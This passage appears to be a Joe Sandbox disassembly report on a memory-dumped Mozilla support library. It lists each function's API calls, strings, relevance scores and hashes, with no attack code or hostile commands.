memcpy.VCRUNTIME140(?,?,?), ref: 6CAA0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CAA0ED4

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: b09329df64b6473fd29de561d980041b70d8e92b19603f2d20f23276d9c9e399
Instruction ID: dd18720dc4a90a1f76736e8c114ede121694cb14e10a0a5c72aa81ccc904a37b
Opcode Fuzzy Hash: b09329df64b6473fd29de561d980041b70d8e92b19603f2d20f23276d9c9e399
Instruction Fuzzy Hash: E5638E71E0025A8FCB14CFA8C8906EDF7F2FF89314F298269D455AB755D730A986CB90

Function 6CA73E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CA97770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA73E7D,?,?,?,6CA73E7D,?,?), ref: 6CA9777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CA73F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA73F5C
VerSetConditionMask.NTDLL ref: 6CA73F8D
VerSetConditionMask.NTDLL ref: 6CA73F99
VerSetConditionMask.NTDLL ref: 6CA73FA0
VerSetConditionMask.NTDLL ref: 6CA73FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA73FB4

Strings

nvd3d9wrap.dll, xrefs: 6CA74466
nvinit.dll, xrefs: 6CA74479

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 6ada811edb50209d1641f457a64bb3cc20b92f7b671faf3d7c293809f3d17899
Instruction ID: 502bb3aa65d055b3a67feef9b9305bd0ecaa843fe662a225f61f0337e9ce5cf2
Opcode Fuzzy Hash: 6ada811edb50209d1641f457a64bb3cc20b92f7b671faf3d7c293809f3d17899
Instruction Fuzzy Hash: 8D52E171610B488FD725DB74C980AAB77EABF45308F44892DE4968BB42CB74F94DCB60

Function 6CA5ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CA5EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA5EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA61695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA616B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CA61770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA61A3E

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: d284f2420534a5ece6386039af10db71ce20d4de48675e29adb470b759e42646
Instruction ID: ed800cbf02d39891e38842751e8dd542766808ec5f7b584be4d525e42c702da0
Opcode Fuzzy Hash: d284f2420534a5ece6386039af10db71ce20d4de48675e29adb470b759e42646
Instruction Fuzzy Hash: 81B33C71E01219CFCB14CFA9C890AADB7B2FF49304F5981A9D549ABB45D730AD86CF90

Function 6CA4FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CABE7B8), ref: 6CA4FF81
LeaveCriticalSection.KERNEL32(6CABE7B8), ref: 6CA5022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA50240
EnterCriticalSection.KERNEL32(6CABE768), ref: 6CA5025B
LeaveCriticalSection.KERNEL32(6CABE768), ref: 6CA5027B

Strings

MOZ_CRASH(), xrefs: 6CA50CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA4FE99, 6CA4FEB7, 6CA4FED3, 6CA50DB8, 6CA50DD3, 6CA519B4, 6CA51A10

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 8e0816a126c8649088b208091a735b23bce3028e105a5ba3168d492edc21b1b0
Instruction ID: 43df812ebba94748dec5cbd0e07bcc1ab6eb2b8d87ca63b40e08641e56c91cc0
Opcode Fuzzy Hash: 8e0816a126c8649088b208091a735b23bce3028e105a5ba3168d492edc21b1b0
Instruction Fuzzy Hash: 6FB2DE716057418FD718CF29C5D0726BBE1BF85328F68C66CE96A8BB95C770E891CB40

Function 6CA85600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6CA85CB6
expected a Count entry, xrefs: 6CA85AC3
data, xrefs: 6CA86131
ProfileBuffer parse error: %s, xrefs: 6CA85AC8, 6CA85CBB
schema, xrefs: 6CA8606D
name, xrefs: 6CA85E79, 6CA85E8F

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 739762a8e394bb66a13f6c2e1bb2c54c188b781acf716c98e50beb0899a31bf2
Instruction ID: 6e708550999d9f40567b7cb31a17554e4d6676a43da3cb7c834956257161f12b
Opcode Fuzzy Hash: 739762a8e394bb66a13f6c2e1bb2c54c188b781acf716c98e50beb0899a31bf2
Instruction Fuzzy Hash: 5C923C71A093418FD724CF28C59079AB7E1BFC9308F54891DE9DA9B751DB30E889CB92

Function 6CA82E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CA82ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA82EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CA82F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA83214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA83242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA836BF

Strings

get , xrefs: 6CA83205
set , xrefs: 6CA836EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CA8378D

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 7850c5a8cb80ed9cf520f13571c22db037f56afce9b3878a2558b53abf8e2a63
Instruction ID: 5a17a82cbfdc4a86c03e1d0680b0daa9a2fcd57602e13f3e43ad5ae8327ce9ca
Opcode Fuzzy Hash: 7850c5a8cb80ed9cf520f13571c22db037f56afce9b3878a2558b53abf8e2a63
Instruction Fuzzy Hash: FE327E7460A3818FD724CF24C4906AFBBE2AFC9318F58891DE5D987751DB31D88ACB52

Function 6CA77E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CA77E88
data, xrefs: 6CA78280, 6CA783E1
schema, xrefs: 6CA781E3, 6CA78311
name, xrefs: 6CA77ECF, 6CA78335

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: f2630f8284a5b549fe9d3c2a974290c21342c66dcf70cc35531580aaba8ebece
Instruction ID: 8164f87dba815cc6c4a9d0d5ab9cf6d92abf026092e35903d58202848b728923
Opcode Fuzzy Hash: f2630f8284a5b549fe9d3c2a974290c21342c66dcf70cc35531580aaba8ebece
Instruction Fuzzy Hash: AFE180B1A043408BC714CF68884066BFBE9FF95314F148A2DE899E7790DBB0DD898B91

Function 6CA5D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CABE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA6D1C5), ref: 6CA5D4F2
LeaveCriticalSection.KERNEL32(6CABE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA6D1C5), ref: 6CA5D50B

Part of subcall function 6CA3CFE0: EnterCriticalSection.KERNEL32(6CABE784), ref: 6CA3CFF6
Part of subcall function 6CA3CFE0: LeaveCriticalSection.KERNEL32(6CABE784), ref: 6CA3D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA6D1C5), ref: 6CA5D52E
EnterCriticalSection.KERNEL32(6CABE7DC), ref: 6CA5D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA5D6A6
LeaveCriticalSection.KERNEL32(6CABE7DC), ref: 6CA5D712
LeaveCriticalSection.KERNEL32(6CABE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA6D1C5), ref: 6CA5D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA5D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CA5D82C
<jemalloc>, xrefs: 6CA5D827

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 407c2282b78dba1fa52685b436335a05969fa17bf4de19919cf3e49b56432610
Instruction ID: f026f30836ea0b87c77b7c7f76ee948dad25661d5a379ee81feed1bfaf2b2442
Opcode Fuzzy Hash: 407c2282b78dba1fa52685b436335a05969fa17bf4de19919cf3e49b56432610
Instruction Fuzzy Hash: 0B91D371E047018FD718CF28C69026AB7E1EB89314F58C92EE45AC7E91D730E895CB82

Function 6CA55E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA55EDB
memset.VCRUNTIME140(6CA97765,000000E5,55CCCCCC), ref: 6CA55F27
LeaveCriticalSection.KERNEL32(?), ref: 6CA55FB2
memset.VCRUNTIME140(6CA97765,000000E5,ABC09015), ref: 6CA561F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CA57652

Strings

MOZ_CRASH(), xrefs: 6CA57BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA5730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA57BCD, 6CA57C1F, 6CA57C34, 6CA580FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA572E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA572F8

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: c05790ba21bd23e923f49080f8f0c91c8eb3c95066a612a092b88234d81d7820
Instruction ID: 8bc045341f355faa8399f369d1916f03c6cc8818c50a48af1f851aeea90904a9
Opcode Fuzzy Hash: c05790ba21bd23e923f49080f8f0c91c8eb3c95066a612a092b88234d81d7820
Instruction Fuzzy Hash: AA338B716167018FC308CF28C590615BBE2BF85328F6DC6ADE969CB7A5D731E8A1CB41

Function 6CA33480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA33492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA334A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA334EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA3350E
__Init_thread_footer.LIBCMT ref: 6CA33522
__aulldiv.LIBCMT ref: 6CA33552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA3357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA33592

Part of subcall function 6CA6AB89: EnterCriticalSection.KERNEL32(6CABE370,?,?,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284), ref: 6CA6AB94
Part of subcall function 6CA6AB89: LeaveCriticalSection.KERNEL32(6CABE370,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA6ABD1

Strings

kernel32.dll, xrefs: 6CA334EA
GetSystemTimePreciseAsFileTime, xrefs: 6CA33508

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ecf7a1465343b92b5f99ab20095856e67ba57d323954335ebdadff4660b85cc8
Instruction ID: f520eba00042610ce04ae9e2cacfcf3fbe2e5c3daa193421684cf836ebe2a508
Opcode Fuzzy Hash: ecf7a1465343b92b5f99ab20095856e67ba57d323954335ebdadff4660b85cc8
Instruction Fuzzy Hash: AD31D279B01347AFDF08CFB5D968AAA7379FB45304F048119E946E3670E7709946CB60

Function 6CA84820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CA84D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CA84CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CA84D65
data, xrefs: 6CA849B4
-%llu, xrefs: 6CA84825
ProfileBuffer parse error: %s, xrefs: 6CA84DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CA84DB8, 6CA84DD8
schema, xrefs: 6CA848C1

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: 2b44f573a336dd50259221368b6df15b91a512db49c1156eb0aaa8872a8702be
Instruction ID: e128b14c6d3ab5465980e31828f42ed46cbba30420bd8beda97263e50f6a4417
Opcode Fuzzy Hash: 2b44f573a336dd50259221368b6df15b91a512db49c1156eb0aaa8872a8702be
Instruction Fuzzy Hash: 7072FA71918B858BD326CF38C4513ABF7E5BFDA344F108B1DE4CA6B611EB7094869B42

Function 6CA94EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CA94EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA94F2E
moz_xmalloc.MOZGLUE ref: 6CA94F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CA94F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA952B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA952E6
Sleep.KERNEL32(00000010), ref: 6CA95481
free.MOZGLUE(?), ref: 6CA95498

Strings

(, xrefs: 6CA95250

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 7992be25fc04e9189ce8f75f28ef452a59e1eeed4fe8c3d87ec2b676522667c6
Instruction ID: 2aa75ceaaae5d73179af6d46e351170aee81e1cc37e6404f0e40fe70a612e142
Opcode Fuzzy Hash: 7992be25fc04e9189ce8f75f28ef452a59e1eeed4fe8c3d87ec2b676522667c6
Instruction Fuzzy Hash: 0FF1C075A18B018FC71ACF38C85162BB7F5AFD6384F05872EF886A7651DB319846CB81

Function 6CA95FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CA96009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CA96024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CA3EE51,?), ref: 6CA96046
OutputDebugStringA.KERNEL32(?,6CA3EE51,?), ref: 6CA96061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA96069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA96073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA96082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CAB148E), ref: 6CA96091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CA3EE51,00000000,?), ref: 6CA960BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA960C4

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 7e5d37dac6fae6b269fc3a4325728a896a7a421e7b7d8290f6051c79352e54bc
Instruction ID: a4e72ae9ab2a86bb2a7e23d04f1e4a8291dc992a7bf18d1bbda403ffcf5f44bc
Opcode Fuzzy Hash: 7e5d37dac6fae6b269fc3a4325728a896a7a421e7b7d8290f6051c79352e54bc
Instruction Fuzzy Hash: FF21D3B1A003089FDB105F24EC49AAA7BB8FF45218F00C528E85A97250CB74E599CFE5

Function 6CA59E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA59EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CA59F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA59F34
LeaveCriticalSection.KERNEL32(?), ref: 6CA5A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA5A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA5A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA5A8B1, 6CA5A8D4, 6CA5A8EF

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 1498c2848ddd443f38598bfc84264d467354e3bdb471a0651abf630f45a726af
Instruction ID: 7574e694f341c489296e7c5500834dfc250355ca95d8641365f1abe2aa646289
Opcode Fuzzy Hash: 1498c2848ddd443f38598bfc84264d467354e3bdb471a0651abf630f45a726af
Instruction Fuzzy Hash: B5726C72A157118FD304CF28C540625FBE2BF85328F69C66DE8699B791D335EC92CB90

Function 6CA82C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA82C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA82C61

Part of subcall function 6CA34DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA34E5A
Part of subcall function 6CA34DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA34E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA82C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA82E2D

